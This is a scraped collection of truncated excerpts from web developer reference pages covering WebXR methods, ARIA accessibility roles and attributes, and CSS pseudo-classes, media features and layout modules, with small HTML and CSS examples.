hich resolves to true if the specified webxr session mode is supported by the user's webxr device. otherwise, the promise resolves with false. if the no devices are available or the browser doesn't have permission to use the xr device, the promise is rejected with an appropriate domexception. syntax var issupportedpromise = xr.issessionsupported(xrsessionmode) parameters xrsessionmode a domstring specifying the webxr session mode for which support is to be checked. this string must be one of inline (to present the webxr content inline within the context of an html document) or immersive-vr for a fully-immersive virtual experience. return value a promise that resolves to true if the specified session mode is supported; otherwise the promise resolves to false. exceptions rather th...
XRSystem: requestSession() - Web APIs
the xrsystem interface's requestsession() method returns a promise which resolves to an xrsession object through which you can manage the requested type of webxr session. while only one immersive vr session can be active at a time, multiple inline sessions can be in progress at once. syntax var sessionpromise = xr.requestsession(sessionmode, sessioninit) parameters sessionmode a domstring whose value is one of those included in the xrsessionmode enum. the supported modes are: immersive-ar the session's output will be given exclusive access to the immersive device, but the rendered content will be blended with the real-world environment. the session's environmentblendmode indicates the method to be used to blend the content together. important: the immersive-ar mode ...
XRView.eye - Web APIs
Web › API › XRView › eye
the xrview interface's read-only eye property is a string taken from the xreye enumerated type, indicating which eye's viewpoint the xrview represents: left or right. for views which represent neither eye, such as monoscopic views, this property's value is none. syntax let eye = xrview.eye; value a domstring whose value is one of the strings enumerated by the xreye type: left the xrview represents the point-of-view of the viewer's left eye. right the view represents the viewer's right eye. none the xrview describes a monoscopic view, or the view otherwise doesn't represent a particular eye's point-of-view. usage notes the primary purpose of this property is to allow the correct area of any pre-rendered stereo content to be presented to the correct eye. for dynamically-rend...
XRView.transform - Web APIs
Web › API › XRView › transform
atrix which describes the object's own position and orientation by the additional position and orientation adjustments needed to match the camera's movement. to convert the "camera focused" transform matrix into an "object focused" transform, we use the transform's inverse, thus taking the matrix returned by view.transform.inverse.matrix. the resulting model view matrix will apply all the transforms needed to move and rotate the object based on the relative positions of the object and the camera. this will simulate the movement of the camera even though we're actually moving the object. we then compute the normals for the model view matrix by inverting it, then transposing it. finally, we call the object's render() routine, passing along the modelviewmatrix and normalmatrix so the renderer...
Browser Differences - Web APIs
ie 5.0 and 5.5 (both windows) supported only the working draft of xslt, and thus are not compatible with xslt 1.0 stylesheets. ...
XSLTProcessor - Web APIs
tprocessor() methods [throws] void xsltprocessor.importstylesheet(node stylesheet) imports the xslt stylesheet. if the given node is a document node, you can pass in a full xsl transform or a literal result element transform; otherwise, it must be an <xsl:stylesheet> or <xsl:transform> element. [throws] documentfragment xsltprocessor.transformtofragment(node source, document owner) transforms the node source by applying the stylesheet imported using the xsltprocessor.importstylesheet() function. the owner document of the resulting document fragment is the owner node. [throws] document xsltprocessor.transformtodocument(node source) transforms the node source applying the stylesheet given importing using the xsltprocessor.importstylesheet() function. the resultant object depends o...
ARIA guides - Accessibility
accessible rich internet applications (aria) defines ways to make the web more accessible to people with disabilities. a few guidelines to follow that ensure better accessibility, like using drag and drop for placement of the widgets. error handling in forms labeling widgets labeling composite widgets and regions managing focus in composite widgets (aria-activedescendant vs roving tabindex) using landmark roles handling dynamic updates & live regions virtual vs. non virtual mode in at products using drag & drop notifying users of non-aria screen readers fixing structure with presentation role hiding layout tables managing modal and non modal dialogs using aria with html5 how to test aria aria on mobile devices ...
ARIA live regions - Accessibility
browser/at). general support for live regions was added to jaws on version 10.0. in windows eyes supports live regions since version 8.0 "for use outside of browse mode for microsoft internet explorer and mozilla firefox". nvda added some basic support for live regions for mozilla firefox back in 2008 and was improved in 2010 and 2014. in 2015, basic support was also added for internet explorer (mshtml). the paciello group has some information about the state of the support of live regions (2014). paul j. adam has researched the support of aria-atomic and aria-relevant in particular. aria-atomic: the aria-atomic=boolean is used to set whether or not the screen reader should always present the live region as a whole, even if only part of the region changes. the possible settings are: fa...
Using the aria-labelledby attribute - Accessibility
labelledby attribute: <p>the doctor explained it had been a <dfn id="placebo">placebo</dfn>, or <span role="definition" aria-labelledby="placebo"> an inert preparation prescribed more for the mental relief of the patient than for its actual effect on a disorder.</span> </p> example 6: definition lists in the example below, the definitions in a formal definition list are associated with the terms they define using the aria-labelledby attribute: <dl> <dt id="anathema">anathema</dt> <dd role="definition" aria-labelledby="anathema">a ban or curse solemnly pronounced by ecclesiastical authority and accompanied by excommunication</dd> <dd role="definition" aria-labelledby="anathema">a vigorous denunciation : cursor</dd> <dt...
Using the aria-orientation attribute - Accessibility
) the element is oriented horizontally. possible effects on user agents and assistive technology note: opinions may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. examples example 1: the snippet below shows a simple slider that is oriented vertically. ...
Using the aria-required attribute - Accessibility
includes the use of the aria-required attribute) notes used in aria roles combobox gridcell listbox radiogroup spinbutton textbox tree related aria techniques using the aria-invalid attribute compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for aria-required wai-aria authoring practices for forms constraint validation in html5 ...
Using the article role - Accessibility
examples of an article include web log posts, newspaper or magazine articles and use-submitted comments. it is independent in that its contents could stand alone, for example in syndication. articles can be nested; for example, a web log entry on a site that accepts user-submitted comments could represent the comments as articles nested within the article for the web log entry. the aria article role is similar to the html5 article element; however the article element should still be given the aria role of article, since not all assistive technologies support html5 yet. ...
Using the group role - Accessibility
age summary (such as the structures that are dynamically created by a script or assistive technologies); a group should not be considered a major perceivable section on a page. when the role is added to an element, the browser will send out an accessible group event to assistive technology products which can then notify the user about it. a group should be used to form a logical collection of items with related functionality, such as children in a tree widget forming a collection of siblings in a hierarchy, or a collection of items having the same container in a directory. however, when a group is used in the context of list, authors must limit its children to listitem elements. group elements may be nested. proper handling of a group by assistive technologies is determined by the context ...
Using the link role - Accessibility
give the desired visuals of a link, the tabindex="0" attribute to make it keyboard-focussable, and role="link" to make it recognised as a link by assistive technology. this is a huge amount of work just to recreate something you've get for free using the <a> element, so you should really use that if possible. but this shows that it can be done. you should however note that there are still problems with this approach: it is very difficult to detect whether the target of the fake link has been visited before, and therefore use :visited styles (e.g. the default purple color for visited links). opening a page using the open() method counts as being a popup, and certain browsers may issue a warning when you try to activate it, or make you explicitly agree to allowing popups form the domain ...
Using ARIA: Roles, states, and properties - Accessibility
a-atomic aria-busy drag & drop attributes aria-dropeffect aria-dragged relationship attributes aria-activedescendant aria-colcount aria-colindex aria-colspan aria-controls aria-describedby aria-details aria-errormessage aria-flowto aria-labelledby aria-owns aria-posinset aria-rowcount aria-rowindex aria-rowspan aria-setsize microsoftedge-specific properties x-ms-aria-flowfrom ...
How to file ARIA-related bugs - Accessibility
gw micro window eyes window-eyes comments, questions, and feedback (email) non visual desktop access (nvda) file nvda bugs discuss nvda issues browsers apple safari file webkit.org bugs google chrome file chromium bugs microsoft internet explorer file ie bugs microsoft edge file ms edge bugs view existing ms edge aria bugs mozilla firefox file firefox bugs use component: disability access apis opera file opera bugs use [aria] in the summary field js libraries dojo toolkit file dojo bug put accessibility in the component field yahoo user interface file yui bugs file against specific componen...
ARIA: figure role - Accessibility
ally considered to be one or more images, code snippets, or other content that puts across information in a different way to a regular flow of text. <div role="figure" aria-labelledby="caption"> <img src="image.png" alt="full alternative image description"> <p id="caption">figure 1: the caption</p> </div> in the above example, we have a figure that consists of two separate content items — an image and a caption. this is wrapped by a <div> element that identifies the content as a figure using role="figure". instead of using aria to create a figure, consider using the native, semantic html <figure> element. along with the <figcaption> element. see best practices below. description any content that should be grouped together and consumed as a figure (which could include image...
ARIA: img role - Accessibility
ake the following code: <div role="img" aria-label="that cat is so funny"> <p> &#x1f408; &#x1f602; </p> </div> &#x1f408; &#x1f602; are entity references for emojis read out as "cat" and "face with tears of joy", but this doesn't necessarily make sense — the implied meaning is possibly more like "that cat is so funny", so we include that in an aria-label along with role="img". this seems to work ok across some browser/screenreader combinations, but some of them end up reading the label out twice. use with caution and test thoroughly. another example where this might be suitable is when using ascii emoji combinations, like the legendary "table flip": <div role="img" aria-label="table flip"> <p> (╯°□°)╯︵ ┻━┻ </p> </div> associated wai-aria roles, stat...
ARIA: search role - Accessibility
landmark role is used to identify a section of the page used to search the page, site, or collection of sites. <form role="search"> <!-- search input --> </form> description the search role is a landmark. landmarks can be used by assistive technology to quickly identify and navigate to large sections of the document. the search role is added to the container element that encompasses the items and objects that, as a whole, combine to create search functionality. when a <form> is a search form, use the search role instead of form. if a document includes more than one search, each should have a unique label. while there is a input of type search, there is html element that defines a search landmark. examples <form id="search" role="search"> <label for="search-input">search this site<...
ARIA: switch role - Accessibility
result the result looks like this: specifications specification status comment ...
ARIA: dialog role - Accessibility
on when focus is moved into it. required javascript features focus management a dialog has particular requirements for how keyboard focus should be managed: dialogs should always have at least one focusable control. for many dialogs, there will be a button like "close", "ok" or "cancel". in addition to the needed control, dialogs can contain any number of focusable elements, even entire forms or other container widgets like tabs. when the dialog appears on the screen, keyboard focus (whose control depends upon the dialogs purpose) should be moved to the default focusable control inside the dialog. for dialogs that only provide a basic message, it could be an "ok" button. for dialogs containing a form it could be the first field in the form. after the dialog is dismissed, keyboard fo...
Multipart labels: Using ARIA for labels with embedded fields inside them - Accessibility
wntime" type="text" value="10" /> <span id="shutdownunit"> minutes</span> a note for jaws 8 users jaws 8.0 has its own logic to find labels, causing it to always override the accessiblename the textbox of an html document gets. with jaws 8, i have not found a way to make it to accept the label from the example above. but nvda and window-eyes do it just fine, and orca on linux also has no problems. tbd: add more compatibility info can this be done without aria? community member ben millard has pointed out in a blog post that controls can be embedded in labels as shown in the above example using html 4, simply by embedding the input into the label. thanks for that info, ben! it is very useful and shows that some techniques that have been available for years escape even the gurus sometime...
An overview of accessible web applications and widgets - Accessibility
y of how keyboard navigation should work in an aria-enabled web application: the tab key should provide focus to the widget as a whole. for example, tabbing to a menu bar should not put focus on the menu's first element. the arrow keys should allow for selection or navigation within the widget. for example, using the left and right arrow keys should move focus to the previous and next menu items. when the widget is not inside a form, both the enter and spacebar keys should select or activate the control. within a form, the spacebar key should select or activate the control, while the enter key should submit the form's default action. if in doubt, mimic the standard desktop behavior of the control you are creating. so, for the tabs widget example above, the user should be able to nav...
Community - Accessibility
if you know of other useful resources, please link to them here. ...
Robust - Accessibility
robust states that content must be robust enough that it can be interpreted reliably by a wide variety of user agents, including assistive technologies. this can generally be achieved by following web standards and testing rigorously. note: to read the w3c definitions for robust and its guidelines and success criteria, see principle 4: robust — content must be robust enough that it can be interpreted reliably by a wide variety of user agents, including assistive technologies. ...
Understanding the Web Content Accessibility Guidelines - Accessibility
ls where required. the four principles wcag is broadly broken down into four principles — major things that web content must be to be considered accessible (see understanding the four principles of accessibility for the wcag definitions). each of the links below will take you to pages that further expand on these areas, giving you practical advice on how to write your web content so it conforms to the success criteria outlined in each of the wcag 2.0 and 2.1 guidelines that further sub-divides each principle. perceivable: users must be able to perceive it in some way, using one or more of their senses. operable: users must be able to control ui elements (e.g. buttons must be clickable in some way — mouse, keyboard, voice command, etc.). understandable: the content must be underst...
:-moz-submit-invalid - CSS: Cascading Style Sheets
by default, no style is applied. ...
:-moz-ui-valid - CSS: Cascading Style Sheets
rules apply only if the user has changed the value or attempted to submit the form. the result is that if the control was valid when the user started interacting with it, the validity styling is changed only when the user shifts focus to another control. however, if the user is trying to correct a previously-flagged value, the control shows immediately when the value becomes valid. required items are flagged as invalid only if the user changes them or attempts to submit an unchanged invalid value. syntax syntax not found in db! specifications not part of any standard. ...
::-webkit-scrollbar - CSS: Cascading Style Sheets
is sem sed lacus laoreet, eu fermentum eros auctor. proin at nulla elementum, consectetur ex eget, commodo ante. sed eros mi, bibendum ut dignissim et, maximus eget nibh. phasellus blandit quam turpis, at mollis velit pretium ut. nunc consequat efficitur ultrices. nullam hendrerit posuere est. nulla libero sapien, egestas ac felis porta, cursus ultricies quam. vestibulum tincidunt accumsan sapien, a fringilla dui semper in. vivamus consectetur ipsum a ornare blandit. aenean tempus at lorem sit amet faucibus. curabitur nibh justo, faucibus sed velit cursus, mattis cursus dolor. pellentesque id pretium est. quisque convallis nisi a diam malesuada mollis. aliquam at enim ligula. </div> <div class="invisible-scrollbar"> thisisaveeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee...
::first-letter (:first-letter) - CSS: Cascading Style Sheets
ow. css text decoration module level 3the definition of 'text-shadow with ::first-letter' in that specification. candidate recommendation allows the use of text-shadow with ::first-letter. selectors level 3the definition of '::first-letter' in that specification. recommendation introduction of the two-colon syntax. definition of edge-case behavior, such as in list items or with specific languages (e.g., the dutch digraph ij). css level 2 (revision 1)the definition of '::first-letter' in that specification. recommendation no change. css level 1the definition of '::first-letter' in that specification. recommendation initial definition, using the one-colon syntax. ...
::marker - CSS: Cascading Style Sheets
Web › CSS › ::marker
e used in a rule with ::marker as a selector: all font properties the white-space property color text-combine-upright, unicode-bidi and direction properties the content property all animation and transition properties the specification states that additional css properties may be supported in future. syntax ::marker examples html <ul> <li>peaches</li> <li>apples</li> <li>plums</li> </ul> css ul li::marker { color: red; font-size: 1.5em; } result specifications specification status comment css pseudo-elements level 4the definition of '::marker' in that specification. working draft no significant change. css lists module level 3the definition of '::marker' in that specification. working draft initial definition.
:active - CSS: Cascading Style Sheets
Web › CSS › :active
e being activated through their associated <label>. styles defined by the :active pseudo-class will be overridden by any subsequent link-related pseudo-class (:link, :hover, or :visited) that has at least equal specificity. to style links appropriately, put the :active rule after all other link-related rules, as defined by the lvha-order: :link — :visited — :hover — :active. note: on systems with multi-button mice, css3 specifies that the :active pseudo-class must only apply to the primary button; on right-handed mice, this is typically the leftmost button. syntax :active examples active links html <p>this paragraph contains a link: <a href="#">this link will turn red while you click on it.</a> the paragraph will get a gray background while you click on it or the link. </p>...
:default - CSS: Cascading Style Sheets
Web › CSS › :default
te, or the first enabled option in dom order. multiple <select>s can have more than one selected option, so all will match :default. <input type="checkbox"> and <input type="radio"> match if they have the checked attribute. <button> matches if it is a <form>’s default submission button: the first <button> in dom order that belongs to the form. this also applies to <input> types that submit forms, like image or submit. syntax :default examples html <fieldset> <legend>favorite season</legend> <input type="radio" name="season" id="spring"> <label for="spring">spring</label> <input type="radio" name="season" id="summer" checked> <label for="summer">summer</label> <input type="radio" name="season" id="fall"> <label for="fall">fall</label> <input type="radio" name="s...
:enabled - CSS: Cascading Style Sheets
Web › CSS › :enabled
"> </form> css input:enabled { color: #2b2; } input:disabled { color: #aaa; } result specifications specification status comment html living standardthe definition of ':enabled' in that specification. living standard no change. html5the definition of ':enabled' in that specification. recommendation defines the semantics for html and forms. selectors level 4the definition of ':enabled' in that specification. working draft no change. selectors level 3the definition of ':enabled' in that specification. recommendation defines the pseudo-class, but not the associated semantics. ...
:focus-visible - CSS: Cascading Style Sheets
creen in a brightly lit space (like outside in the sun). wcag 2.1 sc 1.4.11 non-text contrast requires that the visual focus indicator be at least 3 to 1. accessible visual focus indicators: give your site some focus! tips for designing useful and usable focus indicators cognition it may not be obvious as to why the focus indicator is appearing and disappearing if a person is using mixed forms of input. for users with cognitive concerns, or who are less technologically literate, this lack of consistent behavior for interactive elements may be confusing. specifications specification status comment selectors level 4the definition of ':focus-visible' in that specification. working draft initial definition. ...
:not() - CSS: Cascading Style Sheets
Web › CSS › :not
/* selects any element that is not a paragraph */ :not(p) { color: blue; } the :not() pseudo-class has a number of quirks, tricks, and unexpected results that you should be aware of before using it. syntax the :not() pseudo-class requires a comma-separated list of one or more selectors as its argument. the list must not contain another negation selector or a pseudo-element. the ability to list more than one selector is experimental and not yet widely supported. ...
:nth-last-of-type() - CSS: Cascading Style Sheets
the :nth-last-of-type() css pseudo-class matches elements of a given type, based on their position among a group of siblings, counting from the end. /* selects every fourth <p> element among any group of siblings, counting backwards from the last one */ p:nth-last-of-type(4n) { color: lime; } note: this pseudo-class is essentially the same as :nth-of-type, except it counts items backwards from the end, not forwards from the beginning. syntax the nth-last-of-type pseudo-class is specified with a single argument, which represents the pattern for matching elements, counting from the end. see :nth-last-child for a more detailed explanation of its syntax. formal syntax :nth-last-of-type( <nth> )where <nth> = <an-plus-b> | even | odd examples html <div> <span>this is a span...
additive-symbols - CSS: Cascading Style Sheets
the additive-symbols descriptor lets you specify symbols when the value of a counter system descriptor is additive. the additive-symbols descriptor defines additive tuples, each of which is a pair containing a symbol and a non-negative integer weight. the additive system is used to construct sign-value numbering systems such as roman numerals. syntax additive-symbols: 3 "0"; additive-symbols: 3 "0", 2 "\2e\20"; additive-symbols: 3 "0", 2 url(symbol.png); when the system descriptor is cyclic, numeric, alphabetic, symbolic, or fixed, use the symbols descriptor instead of additive-symbols. formal definition related at-rule@counter-styleinitial valuen/acomputed valueas specified formal syntax [ <integer> && <symbol> ]#where <symbol> = <string> | <image> | <custom-ident>where <image> = <...
fallback - CSS: Cascading Style Sheets
n its fallback style will be used. if a valid fallback style is not specified, it defaults to decimal. a couple of scenarios where a fallback style will be used are: when the range descriptor is specified for a counter style, the fallback style will be used to represent values that fall outside the range. when the fixed system is used and there are not enough symbols to cover all the list items, the fallback style will be used for the rest of the list items. formal definition related at-rule@counter-styleinitial valuedecimalcomputed valueas specified formal syntax <counter-style-name>where <counter-style-name> = <custom-ident> examples specifying a fallback counter style html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul>...
negative - CSS: Cascading Style Sheets
ve, the symbol provided as value for the descriptor is prepended to the counter representation; and a second symbol if specified, will be appended to the representation. the negative descriptor has effect only if the system value is symbolic, alphabetic, numeric, additive, or extends, if the extended counter style itself uses a negative sign. if the negative descriptor is specified for other systems that don't support negative counter values, then the descriptor is ignored. formal definition related at-rule@counter-styleinitial value"-" hyphen-minuscomputed valueas specified formal syntax <symbol> <symbol>?where <symbol> = <string> | <image> | <custom-ident>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <i...
src - CSS: Cascading Style Sheets
Web › CSS › @font-face › src
the format hint contains a...
-webkit-transform-2d - CSS: Cascading Style Sheets
the -webkit-transform-2d boolean css media feature is a chrome extension whose value is true if vendor-prefixed css 2d transforms are supported. apple has a description in safari css reference. syntax -webkit-transform-2d is a boolean css media feature whose value is true if the browser supports -webkit prefixed css 2d transforms. values true the browser supports the 2d css transforms with the -webkit prefix. false the 2d css transforms prefixed with -webkit are not supported by the browser. examples basic example @media (-webkit-transform-2d) { div { -webkit-transform: translate(100px, 100px); } } this media feature is only supported by webkit. if possible, use an @supports feature query instead: @supports (-webkit-transform: translate(100px, 100px)) { d...
-webkit-transform-3d - CSS: Cascading Style Sheets
the -webkit-transform-3d boolean css media feature is a chrome extension whose value is true if vendor-prefixed css 3d transforms are supported. note: this media feature is only supported by webkit and blink. if possible, use an @supports feature query instead. syntax -webkit-transform-3d is a boolean css media feature whose value is true if the browser supports -webkit prefixed css 3d transforms. values true the browser supports the 3d css transforms with the -webkit prefix. false the 3d css transforms prefixed with -webkit are not supported by the browser. examples @media (-webkit-transform-3d) { .foo { transform-style: preserve-3d; } } @media (-webkit-transform-3d: 1) { .foo { transform-style: preserve-3d; } } specifications specificat...
any-hover - CSS: Cascading Style Sheets
Web › CSS › @media › any-hover
the any-hover css media feature can be used to test whether any available input mechanism can hover over elements. syntax the any-hover feature is specified as a keyword value chosen from the list below. none none of the available input mechanism(s) can hover conveniently, or there is no pointing input mechanism. hover one or more available input mechanisms can conveniently hover over elements. examples testing whether input methods can hover html <a href="#">try hovering over me!</a> css @media (any-hover: hover) { a:hover { background: yellow; } } result specifications specification status comment media queries level 4the definition of 'any-hover' in that specification. candidate recommendation initial definition. ...
forced-colors - CSS: Cascading Style Sheets
line-color column-rule-color scrollbar-color -webkit-tap-highlight-color box-shadow text-shadow you can use system color keywords with any property other than those listed above, to ensure that the rest of the page integrates with the restricted color palette available in forced colors mode. user preferences currently no user agent implements this feature, although various operating systems do support such preferences and if this media query is ever implemented user agents will likely rely on the settings provided by the operating system in use. examples note: no browser currently implements this feature so the following example will not work. this example has an annoying color palette by default. this example does not take advantage of the colors provided by the user agent. h...
hover - CSS: Cascading Style Sheets
Web › CSS › @media › hover
the hover css media feature can be used to test whether the user's primary input mechanism can hover over elements. syntax the hover feature is specified as a keyword value chosen from the list below. none the primary input mechanism cannot hover at all or cannot conveniently hover (e.g., many mobile devices emulate hovering when the user performs an inconvenient long tap), or there is no primary pointing input mechanism. hover the primary input mechanism can conveniently hover over elements. examples html <a href="#">try hovering over me!</a> css @media (hover: hover) { a:hover { background: yellow; } } result specifications specification status comment media queries level 4the definition of 'hover' in that specification. candidate ...
overflow-block - CSS: Cascading Style Sheets
estibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; nunc velit erat, tempus id rutrum sed, dapibus ut urna. integer vehicula nibh a justo imperdiet rutrum. nam faucibus pretium orci imperdiet sollicitudin. nunc id facilisis dui. proin elementum et massa et feugiat. integer rutrum ullamcorper eleifend. proin sit amet tincidunt risus. sed nec augue congue eros accumsan tincidunt sed eget ex.</p> css @media (overflow-block: scroll) { p { color: red; } } result specifications specification status comment media queries level 4the definition of 'overflow-block' in that specification. candidate recommendation initial definition. ...
overflow-inline - CSS: Cascading Style Sheets
estibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; nunc velit erat, tempus id rutrum sed, dapibus ut urna. integer vehicula nibh a justo imperdiet rutrum. nam faucibus pretium orci imperdiet sollicitudin. nunc id facilisis dui. proin elementum et massa et feugiat. integer rutrum ullamcorper eleifend. proin sit amet tincidunt risus. sed nec augue congue eros accumsan tincidunt sed eget ex.</p> css p { white-space: nowrap; } @media (overflow-inline: scroll) { p { color: red; } } result specifications specification status comment media queries level 4the definition of 'overflow-inline' in that specification. candidate recommendation initial definition. ...
prefers-contrast - CSS: Cascading Style Sheets
tes that the user has made no preference known to the system. this keyword value evaluates as false in a boolean context. more indicates that user has notified the system that they prefer an interface that has a higher level of contrast. less indicates that user has notified the system that they prefer an interface that has a lower level of contrast. user preferences various operating systems do support such preferences and user agents are likely to rely on the settings provided by the operating system. examples this example has an annoying low contrast by default. html <div class="contrast">low contrast box</div> css .contrast { width: 100px; height: 100px; outline: 2px dashed black; } @media (prefers-contrast: high) { .contrast { outline: 2px solid black; } } ...
prefers-reduced-data - CSS: Cascading Style Sheets
web content that consumes less internet traffic. syntax no-preference indicates that the user has made no preference known to the system. this keyword value evaluates as false in the boolean context. reduce indicates that user has expressed the preference for lightweight alternate content. user preferences currently no user agent implements this feature, although various operating systems do support such preferences and if this media query is ever implemented user agents will likely rely on the settings provided by the operating system. examples note: no browser currently implements this feature so the following example will not work. in this example the montserrat-regular.woff2 font file will neither be preloaded nor downloaded if the user prefers reduced data, in this case ...
prefers-reduced-transparency - CSS: Cascading Style Sheets
no-preference indicates that the user has made no preference known to the system. this keyword value evaluates as false in the boolean context. reduce indicates that user has notified the system that they prefer an interface that minimizes the amount of transparent or translucent layer effects. user preferences currently no user agent implements this feature, although various operating systems do support such preferences and if this media query is ever implemented user agents will likely rely on the settings provided by the operating systems. examples note: no browser currently implements this feature so the following example will not work. this example has an annoying transparency effect by default. html <div class="transparency">transparent box</div> css .transparency { o...
@media - CSS: Cascading Style Sheets
Web › CSS › @media
scripting detects whether scripting (i.e. javascript) is available added in media queries level 5. update how frequently the output device can modify the appearance of content added in media queries level 4. width width of the viewport including width of scrollbar accessibility concerns to best accommodate people who adjust a site's text size, use ems when you need a <length> for your media queries. both em and px are valid units, but em works better if the user changes the browser text size. also consider using level 4 media queries to improve the user's experience. for example, prefers-reduced-motion to detect if the user has requested that the system minimize the amount of animation or motion it uses. security because media queries prov...
CSSOM View - CSS: Cascading Style Sheets
cssom view is a module of css that lets you manipulate the visual view of a document, in particular its scrolling behavior. reference properties scroll-behavior guides coordinate systems a guide to the coordinate systems used to specify the position of a location in a display context, whether that context is a window on a monitor, a viewport on a mobile device, or a position on a sheet of paper when printing. specifications specification status comment css object model (cssom) view module working draft initial definition. ...
Detecting CSS animation support - CSS: Cascading Style Sheets
ay wish to handle that case by using javascript code to simulate a similar effect. this article, based on this blog post by chris heilmann, demonstrates a technique for doing this. ...
Using URL values for the cursor property - CSS: Cascading Style Sheets
percentage-valued) height and width on its root svg node. javascript, css animation, and declarative smil inside an svg image are ignored; you can't use svg to create an animated cursor, for example. in gecko (firefox) the limit of the cursor size is 128×128px. larger cursor images are ignored. however, you should limit yourself to the size 32×32 for maximum compatibility with operating systems and platforms. (due to a bug in gecko 1.9.2-1.9.2.6, firefox 3.6-3.6.6 on windows limits to 32×32px. this is fixed in later versions.) translucent cursors are not supported on windows releases earlier than xp. this is a limitation of the operating system. transparency works on all platforms. url values as cursors are supported in windows, os/2, and linux (when using gtk+ 2.4 or better) releas...
Box alignment for block, absolutely positioned and table layout - CSS: Cascading Style Sheets
the box alignment specification details how alignment works in various layout methods. in this page we explore how box alignment works in the context of block layout, including floated, positioned, and table elements. as this page aims to detail things which are specific to block layout and box alignment, it should be read in conjunction with the main box alignment page, which details the common features of box alignment across layout methods. note: at the time of writing (may 2018), there is no real support for the box alignment properties in block layout. this document details how the specification expects these properties to be implemented for completeness, and is likely to change as the specification and browser implementations develop. align-content and justify-content the ...
Box alignment in Multi-column Layout - CSS: Cascading Style Sheets
in multi-column layout the alignment container is the content box of the multicol container. the alignment subject is the column box. ...
Basic Concepts of Multicol - CSS: Cascading Style Sheets
...
CSS Containment - CSS: Cascading Style Sheets
the aim of the css containment specification is to improve performance of web pages by allowing developers to isolate a subtree of the page from the rest of the page. if the browser knows that a part of the page is independent, rendering can be optimized and performance improved. the specification defines a single css property contain. this document describes the basic aims of the specification. basic example many webpages contain a number of sections which are independent of each other. for example a listing of article headlines and content, as in the mark-up below. <h1>my blog</h1> <article> <h2>heading of a nice article</h2> <p>content here.</p> </article> <article> <h2>another heading of another article</h2> <p>more content here.</p> </article> each article has the ...
CSS Display - CSS: Cascading Style Sheets
s data types <display-outside> <display-inside> <display-listitem> <display-box> <display-internal> <display-legacy> guides css flow layout (display: block, display: inline) block and inline layout in normal flow flow layout and overflow flow layout and writing modes formatting contexts explained in flow and out of flow display: flex basic concepts of flexbox aligning items in a flex container controlling ratios of flex items along the main axis cross-browser flexbox mixins mastering wrapping of flex items ordering flex items relationship of flexbox to other layout methods backwards compatibility of flexbox typical use cases of flexbox display: grid basic concepts of grid layout relationship to other layout methods line-based placement grid template a...
Flow Layout and Writing Modes - CSS: Cascading Style Sheets
this document link to more writing modes resources. the writing modes specification the css writing modes level 3 specification defines the impact a change the document writing mode has on flow layout. in the writing modes introduction, the specification says, “a writing mode in css is determined by the writing-mode, direction, and text-orientation properties. it is defined primarily in terms of its inline base direction and block flow direction.” the specification defines the inline base direction as the direction in which content is ordered on a line. this defines the start and end of the inline direction. the start is where sentences start and the end is where a line of text ends before it would begin to wrap onto a new line. the block flow direction is the direction in which ...
CSS Generated Content - CSS: Cascading Style Sheets
see the how to guide for generated content to learn more, and the content and quotes properties for implementation information. ...
CSS Grid Layout - CSS: Cascading Style Sheets
css grid layout excels at dividing a page into major regions or defining the relationship in terms of size, position, and layer, between parts of a control built from html primitives. like tables, grid layout enables an author to align elements into columns and rows. however, many more layouts are either possible or easier with css grid than they were with tables. for example, a grid container's child elements could position themselves so they actually overlap and layer, similar to css positioned elements. basic example the example below shows a three-column track grid with new rows created at a minimum of 100 pixels and a maximum of auto. items have been placed onto the grid using line-based placement. * {box-sizing: border-box;} .wrapper { max-width: 940px; margin: 0 auto; } .wr...
Using CSS counters - CSS: Cascading Style Sheets
ge its value to any specific number. once initialized, a counter's value can be increased or decreased with counter-increment. the counter's name must not be "none", "inherit", or "initial"; otherwise the declaration is ignored. displaying a counter the value of a counter can be displayed using either the counter() or counters() function in a content property. the counter() function has two forms: 'counter(name)' or 'counter(name, style)'. the generated text is the value of the innermost counter of the given name in scope at the given pseudo-element.the counter is rendered in the specified style (decimal by default). the counters() function also has two forms: 'counters(name, string)' or 'counters(name, string, style)'. the generated text is the value of all counters with the given name ...
Logical properties for margins, borders and padding - CSS: Cascading Style Sheets
ntal writing-mode this css would apply 5px of padding to the top of the box and 10px of padding to the bottom: .box { padding-block: 5px 10px; } note: the shorthand properties padding-inline and padding-block shipped in firefox 66. as these are new properties check browser support before using. border examples the border properties are the main reason that logical properties and values seems to have so many properties, as we have the longhands for the color, width, and style of the border on each side of a box, along with the shorthand to set all three at once for each side. as with margin and padding we have a mapped version of each physical property. the demo below uses some longhands and three shorthand values. as with the other demos try changing the direction property to rtl to...
CSS Logical Properties and Values - CSS: Cascading Style Sheets
and values that provide the ability to control layout through logical, rather than physical, direction and dimension mappings. the module also defines logical properties and values for properties previously defined in css 2.1. logical properties define direction‐relative equivalents of their corresponding physical properties. block vs. inline logical properties and values use the abstract terms block and inline to describe the direction in which they flow. the physical meaning of these terms depends on the writing mode. block dimension the dimension perpendicular to the flow of text within a line, i.e., the vertical dimension in horizontal writing modes, and the horizontal dimension in vertical writing modes. for standard english text, it is the vertical dimension. inline dimension...
CSS Motion Path - CSS: Cascading Style Sheets
osal, which wasn't ideal and only allowed for simple movements. with offset-path you can define a specific path of any shape you want. you then animate it along that path by animating offset-distance, and can choose to rotate it at any point using offset-rotate. ...
CSS Overflow - CSS: Cascading Style Sheets
cribed as ink overflow. this is the overflow of painting effects which do not affect layout or otherwise extend the scrollable overflow region, such as box shadows, border images, text decoration, overhanging glyphs, outlines, etc. the overflow that we sometimes need to manage in css is described as scrollable overflow. this is the content appearing outside of the box for which scrolling mechanisms need to be provided. the overflow properties are how we can control what happens when content overflows a box. basic example the following interactive example shows how changing the value of the overflow property, changes how the overflow of a fixed height box is dealt with. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interact...
Stacking context example 1 - CSS: Cascading Style Sheets
